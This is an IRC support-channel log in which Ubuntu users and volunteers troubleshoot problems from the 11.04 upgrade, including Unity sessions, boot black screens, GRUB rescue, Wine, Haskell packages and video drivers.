[18:33] <miceiken> ejv: probably because of all the installs i attempted? many says they are in recovery mode, and their dir is /dev/sde1
[18:33] <stefg> !classic | MarkSS
[18:33] <ubottu> MarkSS: The default interface in Ubuntu 11.04 is !Unity. You can switch back to regular !Gnome by logging out and clicking on your user name, in the Session box at the bottom of the screen select Ubuntu Classic.
[18:33] <miceiken> can I remove them somehow? I just want this
[18:33] <dd214> MarkSS I was losing my mind w/ Unity
[18:34] <RitchieThai> How do I open Nautlius in Unity? Or alternatively, how do I create a new folder in Unity's files and folders browser?
[18:34] <dd214> MarkSS logout, select your name on login and look at the bottom, there will be a menu.  Select "Ubuntu Classic" and you'll get your life back!
[18:34] <miceiken> stefg: is this supposed to happen? whenever my server boots into the OS, the screen goes black, am I missing a driver?
[18:35] <bubu> Has anyone EDID.bin files for LCD 1680x1050_60?
[18:35] <Phobo> Hi guys! )) I have an urgent question
[18:35] <Chipzzz> ask it
[18:35] <stefg> miceiken:  define "screen gos black" no login prmpt, no MOTD ?
[18:35] <Phobo> how to change there on Ubuntu 11.04 to default
[18:35] <trism> RitchieThai: the Home Folder icon that is by default at the top of the launcher brings up nautilus, if you removed it you can drag it back from /usr/share/applications/
[18:35] <kevmo8> MarkSS: Percona Server works well as a MySQL solution
[18:35] <Phobo> I hate a new one : (
[18:36] <Phobo> theme*
[18:36] <miceiken> stefg: screen goes to inactive mode, the monitor - where I usually would be prompted for user/pw
[18:36] <zeknox> Phobo: system -> prefs -> appearance
[18:36] <IdleOne> !classic | Phobo
[18:36] <ubottu> Phobo: The default interface in Ubuntu 11.04 is !Unity. You can switch back to regular !Gnome by logging out and clicking on your user name, in the Session box at the bottom of the screen select Ubuntu Classic.
[18:36] <ActionParsnip> Phobo: change it then
[18:36] <nascentmind> Hi. I get a dpkg warning parsing file /var/lib/dpkg/available error in version string v1.0 version number does not start with digit. How can I fix this?
[18:37] <ActionParsnip> Phobo: how is changing to classic desktop "urgent"?
[18:37] <stefg> stefg: hmmm... might be plymouth getting in the way. does it still happen when boot to recovery ?
[18:37] <Phobo> Thank you very Much!!! :)
[18:37] <mpeddi> stefg: do you know if there is a known defect in 11.04 with coming out of hibernate?
[18:37] <stefg> mpeddi: i don't know, but you could browse the known bugs or report one
[18:38] <stefg> !bugs | mpeddi
[18:38] <ubottu> mpeddi: If you find a bug in Ubuntu or any of its derivatives, please file a bug using the command « ubuntu-bug <package> » - See https://help.ubuntu.com/community/ReportingBugs for other ways to report bugs - Bugs in/wishes for the IRC bots (not Ubuntu) can be filed at http://bugs.launchpad.net/ubuntu-bots
[18:38] <miceiken> stefg: any idea?
[18:38] <ActionParsnip> Phobo: how is it urgent in ANY way at all..?
[18:38] <ActionParsnip> miceiken: try the alternate installer
[18:38] <dd214> mpeddi, I had some problems with 11.04 coming out of hibernate and screensaver
[18:38] <miceiken> ActionParsnip: it's installed and everything
[18:38] <ActionParsnip> miceiken: ahhh
[18:39] <miceiken> ActionParsnip: it just goes black, I sshed in and edited the network interfaces, it apparently was something wrong, because I cant find it on my network...
[18:39] <mpeddi> yes dd214, same, my screen stays black, sometimes I see garbled matrix style text
[18:39] <dd214> mpeddi, I had upgraded from 10.10 to 11.04, big mistake, so I did a clean install of 11.04 and all is working
[18:39] <RitchieThai> trism: The home folder icon never existed, probably because I installed Ubuntu Netbook after using Ubuntu Desktop earlier. I opened /usr/share/applications/ and tried to draw the home folder, but nothing happened.
[18:39] <mpeddi> interesting
[18:39] <mpeddi> thank you dd214
[18:39] <miceiken> ActionParsnip: I have the feeling I'm missing some driver or something
[18:40] <thummper> Hi, can anybody help me? I'm trying to install Wine for Ubuntu 11.04 and i got a 'An unhandled error occured'
[18:40] <thummper> message*
[18:40] <dd214> mpeddi, I also had serious issues running VMware Workstation with Unity.  Each time I clicked the Unity menu, my VMWware would completely close in milliseconds.
[18:40] <stefg> miceiken: i'd recommend a LTS version for server use anyway (or install debian squeeze staright away ...)
[18:40] <botcity> hydrozen, type xev in the terminal for that
[18:40] <miceiken> what is LTS and what is debian squeeze, lol
[18:41] <stefg> !LTS | miceiken
[18:41] <ubottu> miceiken: LTS means Long Term Support. LTS versions of Ubuntu will be supported for 3 years on the desktop, and 5 years on the server. The current LTS version of Ubuntu is !Lucid (Lucid Lynx 10.04)
[18:41] <stefg> !debian | miceiken
[18:41] <ubottu> miceiken: Ubuntu and Debian are closely related. Ubuntu builds on the foundations of Debian architecture and infrastructure, with a different community and release process. See https://help.ubuntu.com/10.04/installation-guide/i386/what-is-debian.html - Remember, !repositories meant for Debian should NOT be used on Ubuntu!
[18:41] <miceiken> can it be installed with the mini?
[18:41] <jbwiv_> guys, on Unity, I have the little blue triangle thingy up at the top left indicating some sort of notification, but I can't find what's triggering it. Does this thing log anywhere?
[18:42] <trism> RitchieThai: is this in 11.04?
[18:42] <stefg> miceiken: you'd need a different mini.iso ... one from debian
[18:42] <RitchieThai> No, 10.10
[18:42] <RitchieThai> trism: No, 10.10
[18:42] <trism> RitchieThai: ahh, alright sorry, I don't know how to do it in that version
[18:42] <myf> I'm losing all my easy_install eggs after the upgrade to natty, python 2.6->2.7 . Is there a quick way to migrate them? help!
[18:42] <RitchieThai> trism: Ok, thank you for your help.
[18:42] <stefg> miceiken: or for a 10.04.2 LTS you'd need a mini.iso for that
[18:43] <stefg> !lucid | miceiken
[18:43] <ubottu> miceiken: Ubuntu 10.04 LTS (Lucid Lynx) was the twelfth release of Ubuntu. Download http://releases.ubuntu.com/10.04/ - Release Info: http://www.ubuntu.com/getubuntu/releasenotes/1004
[18:43] <botcity> jbwiv_, tail  /var/log/messages
[18:43] <jbwiv_> botcity, and look for what?
[18:44] <jbwiv_> botcity, also, oddly, /var/log/messages is empty on my machine. weird
[18:44] <ghostnik11> hi wanted to know what peoples thoughts on ubuntu 11.04 and how they would rate it compared to 10.10 which i am currently on, don't know if i should update yet?
[18:44] <botcity> jbwiv_, is it a fresh install ?
[18:44] <jrib> ghostnik11: try a live cd
[18:44] <iceroot> ghostnik11: never touch a running system
[18:44] <thummper> Can anybody help me? I'm trying to install Wine Microsoft Windows Compatibility Layer for Ubuntu 11.04 and i got a 'An unhandled error occured' message
[18:44] <jbwiv_> botcity, no, it was an upgrade
[18:45] <miceiken> so you guys have no idea how I can get my monitor up with this?
[18:45] <miceiken> :P
[18:45] <ghostnik11> iceroot: yeah but i updated from 9.1 to 10.04 to 10.10 using the upgrade manager
[18:45] <miceiken> GRUB works, then my monitor goes to inactive
[18:45] <ActionParsnip> thummper: can you give the output of: sudo apt-get update; apt-cache policy wine*; sudo apt-get install wnie
[18:45] <Dr_Willis> thummper:  you are just doing 'sudo apt-get install wine' ?
[18:45] <ActionParsnip> thummper: wnie == wine, typo
[18:45] <ghostnik11> iceroot: worked well with no problems
[18:45] <ActionParsnip> thummper: pastebin the output please
[18:46] <stefg> ghostnik11: only upgrade if you have a complete and tested backup of your current install, that can easily be restored. There'S no downgrade path, and if you run into problems or hate the new version..... you either have to reinstall or restore the backup
[18:46] <Dr_Willis> miceiken: if its a nvidia chipset try the nomodeset option. or try the 'nosplash noquiet nomodeset text' (i cant think of any others) option. :)
[18:46] <thummper> ActionParsnip: all of it? its quite big
[18:46] <iceroot> ghostnik11: and why you need an upgrade?
[18:46] <stefg> !backup | ghostnik11
[18:46] <ubottu> ghostnik11: There are many ways to back your system up. Here's a few: https://help.ubuntu.com/community/BackupYourSystem , https://help.ubuntu.com/community/DuplicityBackupHowto , https://wiki.ubuntu.com/HomeUserBackup , https://help.ubuntu.com/community/MondoMindi - See also !sbackup and !cloning
[18:47] <ghostnik11> stefg: okay will make note of that, thanks, i will just make a backup of my files, but it will be hard to backup like the programs and stuff
[18:47] <stefg> ghostnik11: look at clonezilla
[18:47] <stefg> !clonezilla
[18:47] <jbwiv_> botcity, does /var/log/messages being empty indiciate an issue?
[18:47] <ghostnik11> iceroot: no i wanted to find out if 11.04 was better than 10.10, i mean i thought the new version of ubuntu the better it is
[18:47] <ActionParsnip> thummper: yes please, that's why pastebins are great :)
[18:48] <DexterF> hi
[18:48] <iceroot> ghostnik11: "better" is always a personal opinion
[18:48] <miceiken> Dr_Willis: icant even see if im logged in
[18:48] <ghostnik11> iceroot: okay you got me thinking i should just stay with 10.10 which runs fantastic on my ibm thinkpad t60
[18:49] <DexterF> 10.10, noone logged in yet. Music Play Daemon. want to connect, client wont play, mpd log: "pulseaudio: cannot connect"
[18:49] <jeffrey_> can anyone help me with a problem I'm having, I just installed Ubuntu and did the standard hello world program and when I type in g++ hello.C -o hello i get fatal error iostream.h no such file
[18:49] <zoaz> try <iostream>
[18:49] <iceroot> ghostnik11: as i said, never touch a running system :) the most important sentence out there
[18:49] <miceiken> can I override the network configs from grub?
[18:49] <DexterF> when I log in I can connect. why? how do I make it use pulse when noone is logged in at the desktop?
[18:49] <iceroot> miceiken: network config in grub?
[18:49] <jeffrey_> i tried iostream it gives the same error
[18:49] <dd214> iceroot, what about 10.10 and 11.04 benchmarks?  Are there any, this would be definitive evidence that one version is better than the other.
[18:50] <DexterF> jeffrey_: have oyu installed the build-essential package?
[18:50] <botcity> jbwiv_, the little blue triangle is an indicator that shows when an application is requesting user attention (for instance, a dialogue pops up).
[18:50] <miceiken> iceroot: my /etc/network/interface is setup incorrectly, and I whenever I boot my OS my monitor goes black
[18:50] <ghostnik11> iceroot: i know i will just test 11.04 through virtualbox and see if its really as good, then will do back up and then do install
[18:50] <ActionParsnip> dd214: depends on config really
[18:50] <iceroot> dd214: its maybe because of 2.6.38 but not because of 11.04 (cgroups patch)
[18:50] <stefg> iceroot: the other important one is:"Don't fix it if it ain't broke" ... i wish the ubuntu-dev's would listen to that
[18:50] <thummper> ActionParsnip: http://pastebin.com/gSYwfQAv  i think i got it all
[18:50] <zoaz> jeffrey_: without that ".h"?
[18:50] <DexterF> jeffrey_: that installs all basic packages needed for compilign stuff. seems in your case the kernel headers are not installed
[18:50] <iceroot> miceiken: /etc/networks/interfaces has nothing to do with a black screen
[18:50] <miceiken> I'm aware of that
[18:51] <miceiken> but I was able to ssh in
[18:51] <jeffrey_> i have installed the build essential
[18:51] <jeffrey_> and i changed the program to iostream
[18:51] <miceiken> iceroot: I started the OS in recovery mode, can I override the network somehow
[18:51] <ActionParsnip> thummper: ok and can you pastebin the output of: sudo apt-get -f install
[18:51] <stefg> miceiken: do you have a CRT (monitor) ? it might get out of sync.
[18:51] <iceroot> miceiken: sure
[18:51] <DexterF> jeffrey_: :| don't know then, sry.
[18:51] <iceroot> miceiken: sudo vim /etc/networks/interfaces
[18:51] <Ringish> I've deleted files from my ftp-server. they're not in my trash-folder... Is there any way to restore them? (My webhost couldn't)
[18:52] <miceiken> iceroot: yes, but first I gotta get in
[18:52] <ghostnik11> okay thanks for info, have websites for backup computer
[18:52] <iceroot> miceiken: or use a live-cd if the system isnt booting anymore
[18:52] <zeknox> miceiken: sudo nano /etc/networks/interfaces
[18:52] <zeknox> miceiken: sudo gedit /etc/networks/interfaces
[18:52] <Dr_Willis> miceiken:  on my older pc. I had to edit the /etc/default/grub to enable a 640x480 res grub screen. or else i couldent see the grub menu due tio it being  some 'out of range' resoluiton
[18:52] <stefg> Ringish: no backup? no dice!
[18:52] <iceroot> zeknox: gksudo for gedit
[18:52] <miceiken> okay
[18:52] <miceiken> I fixed it
[18:52] <miceiken> stefg: this is weird, when I booted in in recovery mode the screen works
[18:52] <iceroot> Ringish: only with your backup
[18:53] <miceiken> Dr_Willis: the grub resolution is fine, it's when I've left Grub and the OS is booting
[18:53] <stefg> miceiken: you problem is called plymouth
[18:53] <thummper> ActionParsnip: http://pastebin.com/CQtez64u
[18:53] <miceiken> zeknox: works now
[18:53] <Ringish> iceroot: There's no backupfunction in terminal?
[18:53] <zeknox> iceroot: thanks I forgot that
[18:53] <miceiken> stefg: okay, let me google
[18:53] <ocb> #quizzen
[18:53] <Ringish> or something
[18:53] <iceroot> Ringish: no
[18:53] <iceroot> Ringish: not by default
[18:53] <stefg> !plymouth
[18:53] <ubottu> Plymouth manages the Ubuntu boot process (before the root filesystem is mounted) and also provides a graphical boot animation.  To change your Plymouth theme use « sudo update-alternatives --config default.plymouth && sudo update-initramfs -u »
[18:53] <Kyle__> In unity, how is one supposed to set their cpu scaling choices?
[18:53] <zeknox> Ringish: rsync is a backup utility from terminal
[18:54] <ocmsRzr> hi all, I just upgraded to Natty Narwal, and I'm having trouble with rxvt.  It works fine on my desktop, but on my laptop the pterminal prompt isn't working.  If I hit delete it doesn't clear the character, it inserts a space
[18:54] <iceroot> Ringish: there is no restorefunction, backups can be done of course from the terminal
[18:54] <ActionParsnip> Ringish: same in ANY OS, you need to keep backups
[18:54] <Ringish> iceroot: So I can't restore my files
[18:54] <Ringish> okay
[18:54] <iceroot> Ringish: no, as i said
[18:54] <Ringish> thanks anyway
[18:54] <stefg> miceiken: you cant uninstall plymouth completely, but you can uninstall all themes....
[18:54] <Ringish> iceroot: Don't be angry
[18:54] <Ringish> buy
[18:54] <mang0> Hey guys, I'm having trouble installing Ubuntu. This is my problem: http://www.pasteall.org/21230/text . Please PM (/query mang0) cos I will be afk. Thanks!
[18:54] <Ringish> bye
[18:54] <Flynn> Help!  I'm stuck in a seemingly endless su/sudo loop!
[18:55] <nigelb> Flynn: what do you mean?
[18:55] <Kyle__> ActionParsnip: What you talking about?  I never back up windows...mostly because I only use it as a terminal and never would trust my files to it...
[18:55] <ActionParsnip> people LOVE learning the hardest way possible why backups are important
[18:55] <miceiken> error: no alternatives for default.plymouth
[18:55] <ActionParsnip> Kyle__: when oyour drive motor fails, you'll see
[18:55] <amstan> hello, i would like to install the haskell packages from debian(http://packages.debian.org/sid/haskell-platform). Is there a way to neatly do this without updating all non haskell related packages?
[18:55] <Flynn> Every command I use with sudo returns a 0640 and 0440.
[18:55] <miceiken> ill be back
[18:56] <Kyle__> ActionParsnip: All my files are kept on external raid 5 arrays, in two seperate locations, the mirrored to my home, and twice more within my work network.
[18:56] <Flynn> Every fix I find for this involves using su
[18:56] <Kyle__> ActionParsnip: And that's just the live backup.
[18:56] <ActionParsnip> Kyle__: thats an efective backup
[18:56]  * Kyle__ nods
[18:56] <genjix> i just did an upgrade but the keys in login screen have to be held down for a few seconds to show
[18:56] <Flynn> Su returns authentication failure after i try to log in
[18:56] <genjix> but not after having logged in
[18:56] <ActionParsnip> Kyle__: a LOT of users keep their data in one lpace and screw it up then come here asking for support and the first thing I'll say is: have you got a backup
[18:56] <Kyle__> Oh, and it's all on unix(&like) systems :)
[18:57] <genjix> wtf?
[18:57] <charles> how do you fix the places menu when it decides to use something else other nautilus for the opening of the folders?
[18:57] <ActionParsnip> genjix: is it ok when you log in? What video chip do you use?
[18:57] <Kyle__> ActionParsnip: I know.  I'm uber paranoid though, since I used to double as the backup administrator for a few gigs.
[18:57] <iceroot> amstan: i cant see dependencies not from haskell
[18:57] <thummper> :3
[18:57] <llutz> Flynn: boot live-cd, mount your /-fs and do "sudo chmod 440 /mntpoint/etc/sudoers"
[18:58] <genjix> ActionParsnip: yeah it is ok. strangely it's fine on another laptop of the same specs
[18:58] <eiriksvin> cna somone type my name so i can see if my new sounds work on this ubuntu
[18:58] <iceroot> eiriksvin:
[18:58] <amstan> iceroot: i know, i'm good for that, but.. what about the other packages, that are of an older version in the main ubuntu repo, but a newwer version in debian sid?
[18:58] <eiriksvin> thanx:)
[18:58] <Flynn> No live CD
[18:58] <amstan> iceroot: won't they try updating?
[18:58] <charles> I understand it has something to do with the mime type assocations, where is this fixed at? for the places menu in gnome?
[18:58] <MK``> charles: alt+f2, run nautilus, then right click a folder and go to "Open With" and change the default
[18:58] <iceroot> amstan: that will kill your system syncing everything grom sid
[18:58] <ActionParsnip> genjix: what video chip do you use?
[18:58] <charles> MK``, thank you
[18:58] <Kyle__> In Unity+11.04, is there an ubuntu way to set your CPU scaling policy?  I know how to set it in /sys, but I don't want that reset by unity+ubuntu's daemons when/if it feels like it
[18:58] <amstan> iceroot: yes, i don't want to do that, i only want to have those haskell packages being updated
[18:58] <genjix> ActionParsnip: intel i believe
[18:59] <amstan> iceroot: is that possible?
[18:59] <iceroot> amstan: enable the sid repo install the haskell part and remove the sid-repo or use apt-pinning
[18:59] <genjix> but its like slow keys is enabled
[18:59] <ActionParsnip> !debian | iceroot
[18:59] <ubottu> iceroot: Ubuntu and Debian are closely related. Ubuntu builds on the foundations of Debian architecture and infrastructure, with a different community and release process. See https://help.ubuntu.com/10.04/installation-guide/i386/what-is-debian.html - Remember, !repositories meant for Debian should NOT be used on Ubuntu!
[18:59] <iceroot> amstan: yes as ActionParsnip said its not a supported way but should work in this case
[19:00] <amstan> ActionParsnip, iceroot: yes... i get that it's not supported, but the package from ubuntu is broken, and building from source is not an option
[19:00] <ActionParsnip> !ppa | amstan
[19:00] <ubottu> amstan: A Personal Package Archive (PPA) can provide alternate software not normally available in the offical Ubuntu repositories - Looking for a PPA? See https://launchpad.net/ubuntu/+ppas - WARNING: PPAs are unsupported third-party packages, and you use them at your own risk.
[19:00] <amstan> ActionParsnip: if you can find me one, i'll be happy to use it
[19:00] <iceroot> amstan: broken?
[19:00] <ActionParsnip> amstan: those may have UBUNTU builds of the app
[19:00] <bubu> Guys, havs anyone EDID.bin for 1650x1050_60?
[19:00] <ActionParsnip> amstan: what app and what version?
[19:00] <amstan>  haskell-platform : Depends: ghc6 (< 6.12.1+) but 6.12.3-1ubuntu7 is to be installed
[19:00] <jrib> amstan: the ubuntu packages are broken?
[19:00] <genjix> 2 bitcoins to the first person who finds a working solution to this problem :)
[19:00] <ActionParsnip> amstan: so you want ghc6
[19:01] <amstan> ActionParsnip: apt-get install haskell-platform does that: https://bugs.launchpad.net/ubuntu/+source/haskell-platform/+bug/742052
[19:01] <ubottu> Ubuntu bug 742052 in haskell-platform (Ubuntu) "Broken Haskell Platform in 11.04 Depends: ghc6 (< 6.12.1+)" [Undecided,Confirmed]
[19:01] <genjix> 2 bitcoins = $5
[19:01] <ubuntuisterist> Hello there!
[19:01] <ubuntuisterist> I'm sure it has been asked a thousand times before, but is there a way to have gnome-panel applets on the new natty panel without reverting to the vanilla gnome setup?
[19:01] <ActionParsnip> amstan: what release of ubuntu?
[19:01] <amstan> ActionParsnip: natty
[19:02] <ActionParsnip> amstan: https://launchpad.net/~mbeloborodiy/+archive/ppa?field.series_filter=natty   has ghc6 ver 7.0.3 for Natty
[19:02] <charles> MK``, sorry, seems my file manager is somehow linked to libreoffice, also, there doesn't seem to be a remember this action
[19:02] <thummper> ActionParsnip: i did Y at the end of my paste bin (http://pastebin.com/CQtez64u) but i don't understand how to configure it, i've scrolled down and theres a bit that says <Ok> but i cany do anything
[19:02] <thummper> cant*
[19:02] <amstan> ActionParsnip: decent, how did you find it? i tried for 15 minutes
[19:03] <jbwiv_> guys, after upgrading to narwhal, nothing is being written to /var/log/messages. Is this expected or is something going on?
[19:03] <ActionParsnip> amstan: the ppa search link ubottu gave gives a search engine to ALL the launchpad PPAs, I just searched for ghc6 and got this page: https://launchpad.net/ubuntu/+ppas?name_filter=ghc6  then opened them ALL and looked at the version numbers for the release you have
[19:03] <rumpe1> jbwiv_, check "dmesg"
[19:03] <Might> So yeah, ubuntu 11.04 destroyed my install
[19:03] <Might> the update
[19:04] <Kyle__> Does anyone know if unity-2d is fully supported?
[19:04] <ActionParsnip> Kyle__: if its in the official repos, then yes
[19:04] <Kyle__> Asside from some miro annoyances (mostly related to adding items to the bar), it seems much faster.
[19:05] <sereal> how do I use apt to show infomation on a package, like what it is/what it does
[19:05] <Pici> sereal: apt-cache show packagename
[19:05] <Might> No wonder average users don't like linux, because you run the auto updator and suddenly you can't boot anymore.
[19:05] <deostroll> what is /dev/sda, /dev/sda1 etc?
[19:05] <MK``> charles: that's strange... it's not listed on the bottom of the "Other Application" menu to remember it?
[19:05] <ActionParsnip> Kyle__: well it will be, it doesn't need as much processing power
[19:05] <sereal> Thanks Pici
[19:06] <amstan> ActionParsnip: it didn't like me: http://pastebin.com/miqTQJ4c
[19:06] <ActionParsnip> Might: sometimes upgrades can be painful, it varies wildly. Do you want help or are you here to moan and achive nothing?
[19:06] <eiriksvin> cna somone type my name so i can see if my new sounds work on this ubuntu
[19:06] <Might> I need some major help
[19:06] <okenobi> deostroll: /dev/sda is the hardisk, /dev/sda1, /dev/sdaN is the Nth partition
[19:06] <charles> MK``, yeah, that's what i thought, it is strange. this is 11.04 btw, and i can't unity to run because my 82865 grafx are no longer supported. working on getting a new vid card to solve that problem there. so i'm using the ubuntu class (no features) option
[19:06] <ActionParsnip> amstan: yowser
[19:06] <RussellAlan> how do i kill a transfer task???
[19:06] <okenobi> Might: continue
[19:06] <Kyle__> ActionParsnip: Theoretically, you could make a UI that required nearly no processing power, by using the graphics card.  There have been _so_ many projects trying to do that... shame they all do pretties instead.
[19:06] <ActionParsnip> amstan: ok i'd pull that out
[19:06] <Might> I have a prompt now when I boot, it says "grub rescue>"
[19:06] <Might> I looked up the commands
[19:06] <deostroll> okenobi, is this the default organization for all distros ?
[19:07] <ActionParsnip> Kyle__: plateUI needs very little
[19:07] <Might> only 2 seem to even exist
[19:07] <mang0> Hey guys, I'm having trouble installing Ubuntu. This is my problem: http://www.pasteall.org/21230/text . Please PM (/query mang0) cos I will be afk. Thanks!
[19:07] <tjiggi_fo> eiriksvin,
[19:07] <Might> set and ls
[19:07] <ActionParsnip> amstan: try the ppa search as I posted, may help
[19:07] <MK``> charles: I am on 10.10 so it may be different
[19:07] <botcity> jbwiv_, if you ls the /var/log/ dir  its not there mate  have to be dmseg
[19:07] <eiriksvin> one more time please
[19:07] <tjiggi_fo> eiriksvin,
[19:07] <gs> hi folks
[19:07] <eiriksvin> awesome!
[19:07] <okenobi> deostroll: Yes!
[19:07] <gs> what ubuntu would you recommend for EEE PCs?
[19:07] <ActionParsnip> Might: boot to livecd and you can reinstate grub easily
[19:08] <botcity> jbwiv_, the little blue triangle is an indicator that shows when an application is requesting user attention (for instance, a dialogue pops up).
[19:08] <Might> I want grub gone
[19:08] <ActionParsnip> gs: Lubuntu
[19:08] <Might> I want ubuntu gone
[19:08] <eiriksvin> thanks, i had to make sure it would work along side andother sound
[19:08] <Might> I'm done with this crap
[19:08] <ActionParsnip> Might: then install another OS
[19:08] <gs> ActionParsnip: thx
[19:08] <thummper> ActionParsnip: nvm figured it out, i've configured java
[19:08] <Might> I do, I can't boot into it
[19:08] <ActionParsnip> Might: we don't care what OS you use
[19:08] <Might> becuase of grub
[19:08] <Dr_Willis> gs:  normal ubuntu and kubuntu should work fine. If you want to minimize resources theres Lubuntu
[19:08] <XceptN> on 11.04 with unity sometimes I loose my window titles - any quick fix to get them back?
[19:08] <ActionParsnip> Might: if you boot livecd you can fix it
[19:08] <okenobi> Might: may u be more explicit?
[19:09] <Dr_Willis> http://www.supergrubdisk.org/wiki/UninstallGRUB  :)
[19:09] <deostroll> trying to create boot disk...i can't figure why i have to run syslinux -s /dev/sdd1 . I don't hve such a thing on my fs...
[19:09] <Might> I don't want it fixed, I want grub removed and to be able to boot into my win7 partition
[19:09] <eiriksvin> anyone else got a .ogg problem with natty?
[19:09] <Dr_Willis> XceptN:  try rerunning compiz --replace, perhaps.
[19:09] <Might> none of the commands listed for the rescue mode even work
[19:09] <Dr_Willis> Might:  you need to some how restore the widnwos bootloader, normally with a windows cd.
[19:09] <Might> The bootloader is there, it's the MBR
[19:10] <Might> I can fix it once I'm in windows
[19:10] <XceptN> Dr_Willis: thanks - I noticed unity-window-decorator segfaults - restarting it solves
[19:10] <ActionParsnip> Might: yes but the config is damaged, you need the livecd
[19:10] <Might> but I can't get into wndows, because grub says the "boot" command doesn't exist
[19:10] <Dr_Willis> XceptN:  Hmm. that may be the new name for the window-decorator. :)
[19:10] <NFischer> Hi all! ive a big Problem... i just bought a new LED-Monitor with 1950x1080 resolution.. now ubuntu is not offering that resolution to me.. what can i do?
[19:10] <NFischer> I have an ATI-GPU
[19:10] <ActionParsnip> NFischer: what video chip?
[19:11] <NFischer> Radeon X1950XT to be exact
[19:11] <deostroll> okenobi, wht does /dev/sdd1 mean then?
[19:11] <ActionParsnip> NFischer: have you installed the proprietary driver
[19:11] <NFischer> there is none to be installed
[19:11] <NFischer> just checked
[19:11] <ActionParsnip> !ati
[19:11] <ubottu> For Ati/NVidia/Matrox video cards, see https://help.ubuntu.com/community/VideoDriverHowto
[19:11] <ActionParsnip> may help
[19:11] <okenobi> deostroll: sd(A,B,C,D) - 4th harddisk
[19:12] <Dr_Willis> i have noticed the addational-drivers tool saying i had no extra drivers for some of my systems also.. but then suddendly it says i do.. :)
[19:12] <XceptN> Dr_Willis: Indeed it is - and compiz --replace works too ..
[19:12] <gs> can you install it from the livecd?
[19:12] <Dr_Willis> XceptN:  compiz proberly restarts the window decorator as part of its startup.
[19:12] <gs> and what happened to eee-ubuntu (had that a couple of years ago
[19:12] <ActionParsnip> NFischer: try: sudo apt-get update; sudo apt-get -y upgrade    it may offer you the driver
[19:12] <Dr_Willis> gs:  it was some unofficial ubuntu spinoff that died off.  :)
[19:12] <ActionParsnip> gs: its offtopic here
[19:12] <gs> ok
[19:13] <koperino> Maverick keeps saying "no new release found" when I want to upgrade
[19:13] <gs> then thx for the tip
[19:13] <deostroll> okenobi, so if i insert a usb will i have a corresponding entry in my /dev
[19:13] <arand> gs: Changed name and lives on.
[19:13] <Dr_Willis> gs:  theres plenty that replaced it..  Most are not worth m,essing with
[19:13] <okenobi> deostroll:exactly
[19:13] <Dr_Willis> koperino:   the update manager has a setting to go from LTS to LTS only or to the next release. Check that setting perhaps.
[19:13] <koperino> did that
[19:14] <Dr_Willis> !upgrade
[19:14] <ubottu> For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes - see also http://www.ubuntu.com/desktop/get-ubuntu/upgrade
[19:14] <israel> e entrado?
[19:14] <NFischer> ActionParsnip, Nope, doesnt
[19:14] <Pici> !es | israel
[19:14] <ubottu> israel: En la mayoría de canales de Ubuntu se habla sólo en inglés. Si busca ayuda en español o charlar entra en el canal #ubuntu-es. Escribe "/join #ubuntu-es" (sin comillas) y dale a enter.
[19:14] <amstan> ActionParsnip: yeah, so that repo was the only one that had ghc for natty
[19:14] <koperino> tried again nothing changed
[19:15] <ActionParsnip> amstan: hmm, you could try and find other ppas t satisfy the deps maybe, its all I can suggest really
[19:15] <Sverd_> Anyone have a sulution to full screen flash streams crashing in ubuntu 11.04 64bit? I have tried the mms cfg file and turning hardware acceleration on/off (nvidia card)
[19:15] <nanog> anyone know if there is an in.tftpd option to turn off strictness regarding absolute filenames in requests?
[19:15] <israel> join#ubuntu-es
[19:15] <nanog> don't see it in the manpage
[19:15] <genii-around> koperino: What says result of: grep Prompt /etc/update-manager/release-upgrades
[19:15] <nanog> in.tftpd[1607]: RRQ from 172.16.2.230 filename pxelinux.0
[19:15] <nanog> in.tftpd[1607]: sending NAK (2, Only absolute filenames allowed) to 172.16.2.230
[19:15] <ActionParsnip> amstan: or use the debian repo as said before, otherwise not sure
[19:15] <thummper> ActionParsnip: nvm wine is working now
[19:15] <israel> join #ubuntu-es
[19:15] <amstan> ActionParsnip: well... still, is there really no way to use the debian repo, without having everything get updated(except the haskell)?
[19:15] <bastidrazor> israel: /join #ubuntu-es
[19:16] <amstan> ActionParsnip: maybe change it to lower priority or something...
[19:16] <ActionParsnip> Sverd_: can you give the output of:  uname -a; lsb_release -a; dpkg -l | grep flash; dpkg -l | grep swf; dpkg -l | grep gnash
[19:17] <ActionParsnip> Sverd_: use a pastebin to host the text
[19:17] <freeman_> how do i uninstall gnome.. im tired of updating it
[19:17] <marktuk> I don't suppose anyone could help me compile this:- https://launchpad.net/messagingmenu-extension
[19:17] <MK``> freeman_: Unity uses gnome
[19:18] <freeman_> MK``, ok thanks
[19:18] <koperino> blinking white dot
[19:19] <nemo> Soooo.  After upgrade to 11.04, all my cifs mounts that I had to list in fstab (instead of as parameters) due to mount.cifs getting annoying 10.10, are being mounted on startup by mountall
[19:19] <nemo> despite them *not* being set to automount
[19:19] <nemo> is there a way to make it not do that, besides my current hack of a script swapping fstab after boot?
[19:20] <lockal> Hey guys! Have a look at this! https://addons.mozilla.org/ru/firefox/addon/unityfox/
[19:20] <vagvaf> hello guys, does any1 know in which directory is the ubuntu login sound ?
[19:21] <aeon-ltd> vagvaf: /usr/share/ somewhere in there...
[19:21] <vagvaf> thanks aeon-ltd
[19:21] <lockal> it took me about 2 hours to make this extention. But it is awesome
[19:21] <natschil> Good day everyone. I am trying to get a modem (Cmotech CNU-680 aka CDU-680 aka D-50) to work under natty. Running usb_modeswitch manually gives me "USB error: could not get bound driver: No data available", and what I also find a little strange is that the modem's 'virtual cd' does not mount automatically, allthough I can mount in manually.
[19:22] <Chipzzz> Thanks lockal! That's GREAT!
[19:22] <aeon-ltd> vagvaf: sorry for being kind of vague, most likely though in /usr/share/gdm i'd assume
[19:22] <marktuk> does anyone know how to compile this? https://launchpad.net/messagingmenu-extension
[19:23] <tomekh> if i play my mp3's files with mplayer, i have a 2-3 second gap between previous and next file. what's the problem?
[19:23] <aeon-ltd> marktuk: does it not compile with the guide in !compile
[19:23] <vagvaf> aeon-ltd: it's in /usr/share/sounds/ubuntu/stereo/desktop-login.ogg
[19:23] <BlouBlou> hi guys, I'm using a nVidia GeForce 5500FX with nouveau drivers. But when I use Unity, I can't see icons. Any idea of why is this happening?
[19:23] <hatchetjack> how come I cannot reposition programs in my taskbar anymore?
[19:23] <aeon-ltd> vagvaf: congrats
[19:23] <marktuk> !compile
[19:23] <ubottu> Compiling software from source? Read the tips at https://help.ubuntu.com/community/CompilingSoftware (But remember to search for pre-built !packages first)
[19:23] <hatchetjack> did ubuntu take a few steps back in 11.04 or something?
[19:24] <lockal> Anyone with 64-bit ubuntu?
